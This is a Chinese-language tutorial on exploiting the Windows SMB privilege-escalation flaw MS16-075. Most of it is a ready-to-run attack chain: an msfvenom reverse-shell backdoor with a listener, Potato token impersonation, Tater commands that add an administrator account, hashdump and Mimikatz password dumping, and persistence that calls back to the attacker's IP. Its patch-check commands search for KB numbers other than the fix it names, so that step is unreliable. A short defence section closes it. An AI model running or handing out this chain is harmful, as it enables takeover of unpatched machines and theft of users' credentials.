MS16-075漏洞利用与提权技术详解

1. MS16-075漏洞概述

1.1 漏洞简介

MS16-075是Windows SMB服务器中的一个特权提升漏洞（CVE-2016-3225），当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时，可以利用此漏洞提升权限。微软通过KB3164038补丁修复了此漏洞。

1.2 漏洞利用前提

• 攻击者需要首先获得系统的基本访问权限（已登录系统）
• 目标系统未安装KB3164038补丁
• 适用于Windows Server 2008/2012等系统

2. 补丁检测方法

2.1 使用WMIC检测

wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3136041" /C:"KB4018483"

2.2 使用Metasploit模块检测

use post/windows/gather/enum_patches
set session [会话ID]
set kb "KB3136041","KB4018483","KB3143141"
run

2.3 使用Windows-Exploit-Suggester工具

1. 生成系统信息文件：

   systeminfo > systeminfo.txt
   

2. 下载并更新工具：

   windows-exploit-suggester.py -u
   

3. 执行漏洞审计：

   windows-exploit-suggester.py --audit -l --database [日期]-mssb.xls --systeminfo systeminfo.txt > result.txt
   

3. 漏洞利用工具

3.1 常用工具

• FoxGlove公布的Potato工具
• Tater.ps1 PowerShell脚本

3.2 工具下载

• https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
• https://github.com/Kevin-Robertson/Tater

4. 利用流程

4.1 准备工作

1. 生成反弹木马：

   msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] -f exe -o backdoor.exe
   

2. 设置监听：

   use exploit/multi/handler
   set PAYLOAD windows/meterpreter/reverse_tcp
   set LHOST [IP]
   set LPORT [PORT]
   exploit
   

4.2 提权步骤

1. 上传Potato工具：

   upload potato.exe
   

2. 使用incognito模块：

   use incognito
   list_tokens -u
   

3. 执行提权：

   execute -cH -f ./potato.exe
   

4. 验证提权：

   list_tokens -u
   impersonate_token "NT AUTHORITY\SYSTEM"
   getuid
   

4.3 PowerShell提权方法

Import-Module ./Tater.ps1
# 或
. ./Tater.ps1

# 不同触发方式
Invoke-Tater -Trigger 1 -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"
Invoke-Tater -Trigger 2 -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"

5. 提权后操作

5.1 获取密码哈希

run hashdump

5.2 使用Mimikatz获取明文密码

load mimikatz
kerberos
livessp
msv
ssp
tspkg
wdigest
mimikatz_command -f sekurlsa::wdigest -a "full"
mimikatz_command -f sekurlsa::logonpasswords

5.3 检查远程桌面服务

tasklist /svc | find "TermService"
netstat -ano | find "[PID]"

5.4 持久化控制

run persistence -X -i 50 -p [PORT] -r [IP]

6. 防御建议

1. 及时安装微软安全补丁KB3164038
2. 限制SMB服务的访问权限
3. 监控系统日志中的异常提权行为
4. 使用最小权限原则配置服务账户
5. 定期审计系统漏洞和补丁状态

7. 总结

MS16-075是一个严重的Windows特权提升漏洞，攻击者可以利用此漏洞从普通用户权限提升至SYSTEM权限。本文详细介绍了漏洞检测、利用工具、提权步骤以及提权后的操作，同时也提供了防御建议。安全管理员应确保系统已安装相关补丁，以防止此类攻击。